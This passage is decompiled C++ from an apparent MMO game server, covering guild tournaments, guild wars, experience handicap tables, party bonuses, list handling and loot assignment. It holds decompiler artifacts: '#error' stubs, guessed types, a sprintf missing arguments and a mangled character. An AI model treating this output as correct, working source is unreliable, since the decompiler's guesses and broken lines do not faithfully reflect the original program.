(RoutionInterfaceVtbl *)&GuildTournamentSystem::_vftable_; this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; this->m_vecFlags._Myfirst = 0; this->m_vecFlags._Mylast = 0; this->m_vecFlags._Myend = 0; GuildTournamentSystem::GuildGroup::GuildGroup(&this->m_GroupA); GuildTournamentSystem::GuildGroup::GuildGroup(&v1->m_GroupB); v1->m_diceGame.vfptr = (DiceGameVtbl *)&DiceGame::_vftable_; TickTimer::TickTimer(&v1->m_diceGame.m_nDelayTic); TickTimer::TickTimer(&v1->m_diceGame.m_NotifyOfEndTimer); v1->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis = 0; v1->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction = 0; v1->m_diceGame.m_DiceGameEnd.m_Closure.baseclass_0.m_pthis = 0; v1->m_diceGame.m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction = 0; v1->m_diceGame.m_RedPlayerNumber = 0; v1->m_diceGame.m_BluePlayerNumber = 0; v1->m_diceGame.m_RedDiceResult = 0; v1->m_diceGame.m_BlueDiceResult = 0; TickTimer::TickTimer(&v1->m_FlagAllConnectTime); v1->m_OldTime = 0; v1->m_nTournamentSeed = -1; v1->m_nTournamentType = 0; v1->m_diceGame.m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction = (void (__thiscall *)(fastdelegate::detail::GenericClass *))GuildTournamentSystem::DiceGameWinGuild; v1->m_diceGame.m_DiceGameEnd.m_Closure.baseclass_0.m_pthis = (fastdelegate::detail::GenericClass *)v1; PacketContainer::pcb_SetSocketSession((ORField *)&v1->m_FlagAllConnectTime, (ORColumnHeader *)0x258); } // 5B20C4: using guessed type int (__thiscall *DiceGame___vftable_)(DiceGame *this, int nTick); // 5B2764: using guessed type int (__thiscall *GuildTournamentSystem___vftable_)(void *p, char); //----- (00460C20) -------------------------------------------------------- void *__thiscall GuildTournamentSystem::_scalar_deleting_destructor_(GuildTournamentSystem *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentSystem::_GuildTournamentSystem(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00460C40) -------------------------------------------------------- void __thiscall GuildTournamentSystem::_GuildTournamentSystem(GuildTournamentSystem *this) { GuildTournamentSystem *v1; // esi@1 v1 = this; GuildTournamentSystem::GuildGroup::_GuildGroup(&this->m_GroupB); GuildTournamentSystem::GuildGroup::_GuildGroup(&v1->m_GroupA); std::vector>::_Tidy(&v1->m_vecFlags); v1->baseclass_0.vfptr = (RoutionInterfaceVtbl *)&RoutionInterface::_vftable_; } // 5B20A8: using guessed type int (__thiscall *RoutionInterface___vftable_)(void *p, char); //----- (00460CA0) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::Initialize(GuildTournamentSystem *this, unsigned int AGuildNumber, unsigned int BGuildNumber, int nType, int nSeed) { GuildTournamentSystem *v5; // esi@1 v5 = this; std::vector>::_Tidy(&this->m_vecFlags); GuildTournamentSystem::GuildGroup::Clear(&v5->m_GroupA); GuildTournamentSystem::GuildGroup::Clear(&v5->m_GroupB); v5->m_nTournamentSeed = -1; v5->m_nTournamentType = 0; v5->m_GroupB.m_GuildNumber = 0; v5->m_GroupA.m_GuildNumber = AGuildNumber; GuildTournamentSystem::GuildGroup::SetTournamentType(&v5->m_GroupA, nType); v5->m_GroupB.m_GuildNumber = BGuildNumber; GuildTournamentSystem::GuildGroup::SetTournamentType(&v5->m_GroupB, nType); v5->m_nTournamentType = nType; v5->m_nTournamentSeed = nSeed; return 1; } //----- (00460D20) -------------------------------------------------------- void __thiscall GuildWarManager::gwm_Clear(GuildWarManager *this) { signed int v1; // eax@1 v1 = 4096; do { this->gwm_Array[this->gwm_Pointer].attacker = 0; --v1; ++this->gwm_Pointer; } while ( v1 ); } //----- (00460D50) -------------------------------------------------------- GuildWarElement *__thiscall GuildWarManager::gwm_IsEnemyGuild(GuildWarManager *this, unsigned int a, unsigned int b) { int v3; // eax@5 unsigned int v4; // edx@5 int v5; // eax@10 GuildWarElement *result; // eax@11 if ( a != b && a && b ) { this->gwm_Pointer = 0; while ( 1 ) { v3 = this->gwm_Pointer; v4 = this->gwm_Array[v3].attacker; if ( v4 ) { if ( v4 == a && this->gwm_Array[v3].defender == b ) return &this->gwm_Array[this->gwm_Pointer]; if ( v4 == b && this->gwm_Array[v3].defender == a ) break; } v5 = v3 + 1; this->gwm_Pointer = v5; if ( v5 >= 4096 ) return 0; } result = (GuildWarElement *)((char *)this + 8 * this->gwm_Pointer); } else { result = 0; } return result; } //----- (00460DD0) -------------------------------------------------------- void __thiscall GuildWarManager::gwm_WarStart(GuildWarManager *this, unsigned int a, unsigned int b) { int v3; // eax@4 int v4; // eax@5 if ( a && b ) { this->gwm_Pointer = 0; while ( 1 ) { v3 = this->gwm_Pointer; if ( !this->gwm_Array[v3].attacker ) break; v4 = v3 + 1; this->gwm_Pointer = v4; if ( v4 >= 4096 ) return; } this->gwm_Array[this->gwm_Pointer].attacker = a; this->gwm_Array[this->gwm_Pointer].defender = b; } } //----- (00460E30) -------------------------------------------------------- void __thiscall GuildWarManager::gwm_WarStop(GuildWarManager *this, unsigned int a, unsigned int b) { int v3; // eax@4 int v4; // eax@5 if ( a && b ) { this->gwm_Pointer = 0; while ( 1 ) { v3 = this->gwm_Pointer; if ( this->gwm_Array[v3].attacker == a ) break; v4 = v3 + 1; this->gwm_Pointer = v4; if ( v4 >= 4096 ) return; } this->gwm_Array[this->gwm_Pointer].attacker = 0; } } //----- (00460E80) -------------------------------------------------------- void __thiscall GuildWarManager::gwm_EnemyCheck(GuildWarManager *this, char cjcresult, unsigned int a, unsigned int b) { GuildWarManager::gwm_IsEnemyGuild(this, a, b); } //----- (00460EA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_PartyRegistNumber_InAttack(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 1336))(); } //----- (00460EB0) -------------------------------------------------------- #error "460EB0: undefined or illegal type '#740' (funcsize=8)" //----- (00460ED0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_GetCharRegistNumber_ItemLooter(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 836))(); } //----- (00460EE0) -------------------------------------------------------- #error "460EE0: undefined or illegal type '#740' (funcsize=8)" //----- (00460F00) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(int this) { return *(_WORD *)(this + 4); } //----- (00460F10) -------------------------------------------------------- #error "460F10: undefined or illegal type '#740' (funcsize=7)" //----- (00460F30) -------------------------------------------------------- int __thiscall HitMeList::Enemy::e_TimeCompare(HitMeList::Enemy *this, List *lst, unsigned __int16 hnd) { return clockwatch.cw_CurrTick - this->e_LastHitTime; } //----- (00460F40) -------------------------------------------------------- void __thiscall LevelHandicap4ExperienceDouble::LevelHandicap4ExperienceDouble(LevelHandicap4ExperienceDouble *this) { this->lh4ed_Table[0] = 1.2; memcpy(&this->lh4ed_Table[1], this, 0x4A8u); memset(&this->lh4ed_Table[150], 0, 0x4B8u); this->lh4ed_Table[140] = 1.2; this->lh4ed_Table[141] = 1.2; this->lh4ed_Table[142] = 1.2; this->lh4ed_Table[143] = 1.2; this->lh4ed_Table[144] = 1.2; this->lh4ed_Table[145] = 1.2; this->lh4ed_Table[146] = 1.15; this->lh4ed_Table[147] = 1.1; this->lh4ed_Table[148] = 1.05; this->lh4ed_Table[149] = 1.0; this->lh4ed_Table[150] = 1.0; this->lh4ed_Table[151] = 1.0; this->lh4ed_Table[152] = 0.95; this->lh4ed_Table[153] = 0.85; this->lh4ed_Table[154] = 0.75; this->lh4ed_Table[155] = 0.65; this->lh4ed_Table[156] = 0.5; this->lh4ed_Table[157] = 0.35; this->lh4ed_Table[158] = 0.15; this->lh4ed_Table[159] = 0.01; this->lh4ed_Table[160] = 0.005; } //----- (00461070) -------------------------------------------------------- void __thiscall LevelHandicap4ExperienceDouble::lh4ed_Load(LevelHandicap4ExperienceDouble *this, OptionReader *or) { int v2; // ebp@1 signed int v3; // ebx@1 void *v4; // esi@2 int v5; // eax@2 ORToken v6; // [sp-24h] [bp-44h]@2 int v7; // [sp-20h] [bp-40h]@2 int v8; // [sp-1Ch] [bp-3Ch]@2 int v9; // [sp-18h] [bp-38h]@2 int v10; // [sp-14h] [bp-34h]@2 char *v11; // [sp-10h] [bp-30h]@2 int v12; // [sp-Ch] [bp-2Ch]@2 int v13; // [sp-8h] [bp-28h]@2 int *v14; // [sp-4h] [bp-24h]@2 int lastvalue; // [sp+10h] [bp-10h]@1 LevelHandicap4ExperienceDouble *v16; // [sp+14h] [bp-Ch]@1 int tp; // [sp+18h] [bp-8h]@2 ORToken *v18; // [sp+1Ch] [bp-4h]@2 v2 = -1; lastvalue = -1; v3 = -150; v16 = this; do { v14 = &tp; v13 = 0; v12 = (unsigned __int16)v3; v11 = "LevelDiff"; v18 = &v6; v10 = 0; v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)&v6.ort_Name[0] = 0; strncpy(v6.ort_Name, "ByLevelDiff", 0x14u); v4 = OptionReader::or_Select(or, "Bonus", v6, v11, v12, v13, v14); v5 = 0; if ( v4 ) { LOBYTE(v5) = tp == 4; if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "LevelHandicap4ExperienceDouble::lh4ed_Load : Type error", 0); ShineExit("LevelHandicap4ExperienceDouble::lh4ed_Load"); } v2 = *(_WORD *)v4; lastvalue = *(_WORD *)v4; } else { LOBYTE(v5) = v2 >= 0; if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "LevelHandicap4ExperienceDouble::lh4ed_Load : lastvalue not set", v2); ShineExit("LevelHandicap4ExperienceDouble::lh4ed_Load"); } } ++v3; v16 = (LevelHandicap4ExperienceDouble *)((char *)v16 + 8); *((double *)v16 - 1) = (double)lastvalue * 0.001; } while ( v3 <= 150 ); } //----- (00461170) -------------------------------------------------------- void __thiscall PartyExperienceBonusDouble::pebd_Load(PartyExperienceBonusDouble *this, OptionReader *or) { OptionReader *v2; // ebp@1 int v3; // edi@1 void *v4; // esi@2 ORToken v5; // [sp-24h] [bp-3Ch]@2 int v6; // [sp-20h] [bp-38h]@2 int v7; // [sp-1Ch] [bp-34h]@2 int v8; // [sp-18h] [bp-30h]@2 int v9; // [sp-14h] [bp-2Ch]@2 char *v10; // [sp-10h] [bp-28h]@2 int v11; // [sp-Ch] [bp-24h]@2 int v12; // [sp-8h] [bp-20h]@2 int *v13; // [sp-4h] [bp-1Ch]@2 ORToken *v14; // [sp+10h] [bp-8h]@2 PartyExperienceBonusDouble *v15; // [sp+14h] [bp-4h]@1 v2 = or; v15 = this; v3 = 0; do { v13 = (int *)∨ v12 = 0; v11 = v3; v10 = "PartyMember"; v14 = &v5; v9 = 0; v8 = 0; v7 = 0; v6 = 0; *(_DWORD *)&v5.ort_Name[0] = 0; strncpy(v5.ort_Name, "ByPartyMem", 0x14u); v4 = OptionReader::or_Select(v2, "Bonus", v5, v10, v11, v12, v13); if ( v4 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PartyExperienceBonusDouble::pebd_Load : lastvalue not set", v3); ShineExit("PartyExperienceBonusDouble::pebd_Load"); } if ( or != (OptionReader *)4 ) { AssertClass::ac_AssertFail(&shineassert, "PartyExperienceBonusDouble::pebd_Load : Type error", 0); ShineExit("PartyExperienceBonusDouble::pebd_Load"); } v14 = (ORToken *)*(_WORD *)v4; v15->pebd_Bonus[v3++] = (double)(signed int)v14 * 0.001; } while ( v3 <= 5 ); } //----- (00461250) -------------------------------------------------------- char __thiscall List::l_Free(List *this, unsigned __int16 hnd) { ListStruct *v2; // esi@2 int v3; // eax@2 unsigned __int16 v4; // si@4 char result; // al@5 if ( hnd < this->l_MaxSize && (v2 = this->l_Array, v3 = hnd, v2[v3].ls_IsActiv) && hnd != this->l_Finger.store ) { v2[v2[v3].ls_Prev].ls_Next = v2[v3].ls_Next; this->l_Array[this->l_Array[v3].ls_Next].ls_Prev = this->l_Array[v3].ls_Prev; v4 = this->l_Finger.empty; if ( v4 == -1 ) { this->l_Array[v3].ls_Next = hnd; this->l_Array[v3].ls_Prev = hnd; this->l_Finger.empty = hnd; this->l_Array[v3].ls_IsActiv = 0; --this->l_ListNum; result = 1; } else { this->l_Array[v3].ls_Next = v4; this->l_Array[v3].ls_Prev = this->l_Array[this->l_Finger.empty].ls_Prev; this->l_Array[this->l_Array[this->l_Finger.empty].ls_Prev].ls_Next = hnd; this->l_Array[this->l_Finger.empty].ls_Prev = hnd; this->l_Array[v3].ls_IsActiv = 0; --this->l_ListNum; result = 1; } } else { result = 0; } return result; } //----- (00461340) -------------------------------------------------------- #error "461340: undefined or illegal type '#325' (funcsize=40)" //----- (004613B0) -------------------------------------------------------- char __thiscall ListMaximumSearch::lid_Call(ListMaximumSearch *this, HitMeList::Enemy *ele, unsigned __int16 handle) { ListMaximumSearch *v3; // esi@1 int v4; // eax@1 v3 = this; v4 = this->lms_compfunc(ele, this->lms_lst, handle); if ( !v3->lms_max || v4 > v3->lms_maxval ) { v3->lms_max = ele; v3->lms_maxval = v4; v3->lms_hnd = handle; } return 1; } //----- (004613F0) -------------------------------------------------------- void __thiscall List::_List(HitMeList::EnemyList *this) { void *v1; // ecx@1 this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v1 = this->baseclass_0.l_Array; if ( v1 ) operator delete__(v1); } // 5B2944: using guessed type int (__stdcall *List_HitMeList__Enemy____vftable_[3])(__int16 hnd); //----- (00461410) -------------------------------------------------------- int __thiscall HitMeList::Enemy::e_ObjCompare(HitMeList::Enemy *this, List *lst, unsigned __int16 hnd, HitMeList::Enemy *key) { HitMeList::Enemy *v4; // esi@1 HitMeList::Enemy::__unnamed v5; // eax@1 int v6; // esi@2 HitMeList::Enemy::__unnamed v7; // eax@4 HitMeList::Enemy::__unnamed v8; // edx@4 char *v10; // [sp-Ch] [bp-1Ch]@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HitMeList::Enemy::e_ObjCompare"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HitMeList::Enemy::e_ObjCompare"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->e_Type; if ( v4->e_Type != key->e_Type ) { v6 = v5 - key->e_Type; LABEL_8: v10 = "HitMeList::Enemy::e_ObjCompare"; goto LABEL_9; } if ( v5 ) { v6 = LOWORD(v4->e_AttackerInfo) - LOWORD(key->e_AttackerInfo); goto LABEL_8; } v7 = v4->e_AttackerInfo; v8 = key->e_AttackerInfo; v10 = "HitMeList::Enemy::e_ObjCompare"; if ( v7 == v8 ) v6 = *(_WORD *)&v4->gap8[0] - *(_WORD *)&key->gap8[0]; else v6 = v7 - v8; LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); return v6; } //----- (004614E0) -------------------------------------------------------- #error "4614E0: undefined or illegal type '#325' (funcsize=38)" //----- (00461590) -------------------------------------------------------- void __thiscall ScanEnemy4ExpDist::_ScanEnemy4ExpDist(ScanEnemy4ExpDist *this) { ScanEnemy4ExpDist *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ScanEnemy4ExpDist::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScanEnemy4ExpDist::~ScanEnemy4ExpDist"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScanEnemy4ExpDist::~ScanEnemy4ExpDist"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScanEnemy4ExpDist::~ScanEnemy4ExpDist"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 5B2984: using guessed type int (__thiscall *ScanEnemy4ExpDist___vftable_)(ScanEnemy4ExpDist *this, int ele, int handle); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00461610) -------------------------------------------------------- #error "461610: undefined or illegal type '#325' (funcsize=37)" //----- (004616C0) -------------------------------------------------------- void __thiscall ScanEnemy4ExpDist::se4ed_CheckParty(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle) { ScanEnemy4ExpDist *v3; // edi@1 unsigned __int16 v4; // ax@1 unsigned __int16 v5; // [sp-10h] [bp-20h]@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScanEnemy4ExpDist::se4ed_CheckParty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScanEnemy4ExpDist::se4ed_CheckParty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = LOWORD(ele->e_AttackerInfo); if ( v4 >= 0x7D0u ) { AssertClass::ac_AssertFail(&shineassert, "ScanEnemy4ExpDist::se4ed_CheckParty : Too large party handle", v4); v5 = handle; LABEL_5: ScanEnemy4ExpDist::se4ed_FreeElement(v3, ele, v5); goto LABEL_6; } if ( partycontainer.m_Array[LOWORD(ele->e_AttackerInfo)].NumOfMember <= 1u ) { v5 = handle; goto LABEL_5; } LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScanEnemy4ExpDist::se4ed_CheckParty"); } //----- (004617A0) -------------------------------------------------------- #error "4617A0: undefined or illegal type '#325' (funcsize=80)" //----- (004618B0) -------------------------------------------------------- long double __thiscall LevelHandicap4ExperienceDouble::lh4ed_Handicap(LevelHandicap4ExperienceDouble *this, unsigned __int16 plyparty, int levplayer, int levmob) { LevelHandicap4ExperienceDouble *v4; // esi@1 long double result; // st7@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "LevelHandicap4ExperienceDouble::lh4ed_Handicap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "LevelHandicap4ExperienceDouble::lh4ed_Handicap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( levplayer > 5 ) { result = v4->lh4ed_Table[levplayer - levmob + 150]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "LevelHandicap4ExperienceDouble::lh4ed_Handicap"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "LevelHandicap4ExperienceDouble::lh4ed_Handicap"); result = 1.0; } return result; } //----- (00461980) -------------------------------------------------------- #error "461980: undefined or illegal type '#325' (funcsize=62)" //----- (00461A60) -------------------------------------------------------- #error "461A60: undefined or illegal type '#325' (funcsize=220)" //----- (00461D60) -------------------------------------------------------- void __cdecl HitMeList::hml_Load(Name4 *world) { unsigned int v1; // eax@1 char *v2; // eax@1 int v3; // ecx@1 char v4; // bl@2 int v5; // eax@2 char path[128]; // [sp+0h] [bp-108E4h]@1 OptionReader or; // [sp+80h] [bp-10864h]@1 unsigned int cookie; // [sp+108D4h] [bp-10h]@5 int v9; // [sp+108E0h] [bp-4h]@1 OptionReader::OptionReader(&or); v1 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v1; v2 = (char *)&namestring + 256 * v1; *(_QWORD *)v2 = *(_QWORD *)&world->n4_name[0]; *((_DWORD *)v2 + 2) = *(_DWORD *)&world->n4_name[8]; v3 = *(_DWORD *)&world->n4_name[12]; v9 = 0; *((_DWORD *)v2 + 3) = v3; v2[16] = 0; sprintf(path, "../9Data/Shine/World/%s/ExpRecalculation.txt"); if ( !OptionReader::or_Read(&or, path) ) { v4 = OptionReader::or_Read(&or, "../9Data/Shine/World/ExpRecalculation.txt"); v5 = OptionReader::or_ErrorLine(&or); if ( !v4 ) { AssertClass::ac_AssertFail(&shineassert, "Error in read ExpRecalculation.txt", v5); ShineExit("HitMeList::hml_Load"); } } LevelHandicap4ExperienceDouble::lh4ed_Load(&lh4ed, &or); PartyExperienceBonusDouble::pebd_Load(&pebd, &or); v9 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (00461EB0) -------------------------------------------------------- #error "461EB0: undefined or illegal type '#325' (funcsize=26)" //----- (00461F00) -------------------------------------------------------- HitMeList::Enemy *__thiscall List::l_MaximumSearch(List *this, int (__thiscall *compfunc)(HitMeList::Enemy *, List *, unsigned __int16), unsigned __int16 *hnd) { HitMeList::Enemy *result; // eax@1 ListMaximumSearch searcher; // [sp+0h] [bp-24h]@1 int v5; // [sp+20h] [bp-4h]@1 searcher.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListMaximumSearch::_vftable_; searcher.lms_lst = this; searcher.lms_max = 0; searcher.lms_compfunc = compfunc; v5 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = searcher.lms_max; *hnd = searcher.lms_hnd; return result; } // 5B2960: using guessed type int (__stdcall *ListMaximumSearch_HitMeList__Enemy____vftable_)(int ele, int handle); //----- (00461F60) -------------------------------------------------------- HitMeList::Enemy *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(HitMeList::Enemy *, List *, unsigned __int16, HitMeList::Enemy *), unsigned __int16 *hnd, HitMeList::Enemy *key) { HitMeList::Enemy *result; // eax@1 ListSearchSame searcher; // [sp+0h] [bp-24h]@1 int v6; // [sp+20h] [bp-4h]@1 searcher.lss_compfunc = compfunc; searcher.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListSearchSame::_vftable_; searcher.lss_lst = this; searcher.lss_key = key; searcher.lss_found.element = 0; searcher.lss_found.hnd = -1; v6 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = searcher.lss_found.element; *hnd = searcher.lss_found.hnd; return result; } // 5B32A0: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, int handle); //----- (00461FD0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004620F0) -------------------------------------------------------- #error "4620F0: undefined or illegal type '#325' (funcsize=144)" //----- (004622E0) -------------------------------------------------------- unsigned int __thiscall HitMeList::EnemyList::el_FindLooter(HitMeList::EnemyList *this, char *loot_party) { HitMeList::EnemyList *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // si@1 int v6; // edx@1 unsigned __int16 v7; // bp@1 int v8; // eax@3 unsigned __int16 v9; // bx@3 bool v10; // cf@3 HitMeList::Enemy *v11; // edi@5 HitMeList::Enemy *v12; // edx@10 int v13; // eax@13 char v14; // dl@13 int v15; // eax@13 unsigned int result; // eax@17 unsigned int v17; // esi@19 unsigned __int16 v18; // [sp+4h] [bp-14h]@1 int maxdam; // [sp+8h] [bp-10h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HitMeList::EnemyList::el_FindLooter"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HitMeList::EnemyList::el_FindLooter"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Finger.store; v4 = v2->baseclass_0.l_Array; v5 = v2->baseclass_0.l_MaxSize; v6 = 0; v7 = v4[v3].ls_Next; maxdam = 0; v18 = v5; while ( v7 < v5 ) { v8 = v7; v9 = v7; v10 = v7 < v5; v7 = v4[v7].ls_Next; if ( v10 && v4[v8].ls_IsActiv ) v11 = v4[v8].ls_Content; else v11 = 0; v5 = v18; if ( v11->e_TotalDamage > maxdam ) { if ( v9 < v18 && v4[v8].ls_IsActiv ) v12 = v4[v8].ls_Content; else v12 = 0; maxdam = v12->e_TotalDamage; if ( v9 < v18 && (v13 = 3 * v8, v14 = v4[4 * v13 / 0xCu].ls_IsActiv, v15 = (int)&v4[4 * v13 / 0xCu], v14) ) v6 = *(_DWORD *)v15; else v6 = 0; } } if ( v6 ) { if ( *(_DWORD *)v6 == 1 ) { *loot_party = 1; v17 = *(_WORD *)(v6 + 4); } else { *loot_party = 0; v17 = *(_WORD *)(v6 + 8); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HitMeList::EnemyList::el_FindLooter"); result = v17; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HitMeList::EnemyList::el_FindLooter"); result = -1; } return result; } //----- (00462450) -------------------------------------------------------- #error "462450: undefined or illegal type '#325' (funcsize=64)" //----- (00462560) -------------------------------------------------------- char __thiscall ScanEnemy4ExpDist::lid_Call(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle) { ScanEnemy4ExpDist *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScanEnemy4ExpDist::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScanEnemy4ExpDist::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ele->e_Type ) ScanEnemy4ExpDist::se4ed_CheckParty(v3, ele, handle); else ScanEnemy4ExpDist::se4ed_CheckSoloing(v3, ele, handle); v3->se4ed_TotalDamage += ele->e_TotalDamage; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScanEnemy4ExpDist::lid_Call"); return 1; } //----- (00462620) -------------------------------------------------------- void __thiscall HitMeList::EnemyList::EnemyList(HitMeList::EnemyList *this) { HitMeList::EnemyList *v1; // esi@1 signed int v2; // edi@1 int v3; // eax@1 int v4; // edx@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 HitMeList::Enemy *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 HitMeList::Enemy *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 HitMeList::Enemy *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 HitMeList::Enemy *v16; // ebp@12 int v17; // ecx@12 ListIteratorDefault arg; // [sp+14h] [bp-14h]@15 HitMeList::EnemyList *v19; // [sp+18h] [bp-10h]@15 int v20; // [sp+24h] [bp-4h]@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x10u); v20 = 0; v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = 2; v3 = 0; v4 = (int)&v1->el_array[1]; v5 = 4; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3].ls_Content; v8 = (int)&v6[v3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 24; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 + 1].ls_Content; v11 = (int)&v9[v3 + 1]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 + 2].ls_Content; v14 = (int)&v12[v3 + 2]; if ( !v13 ) *(_DWORD *)v14 = v4 + 24; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3 + 3].ls_Content; v17 = (int)&v15[v3 + 3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 48; } v4 += 96; v3 += 4; v2 += 4; --v5; } while ( v5 ); arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v19 = v1; LOBYTE(v20) = 1; List::l_4AllInList((List *)v1, &arg); } // 5B2944: using guessed type int (__stdcall *List_HitMeList__Enemy____vftable_[3])(__int16 hnd); // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (00462730) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (00462750) -------------------------------------------------------- #error 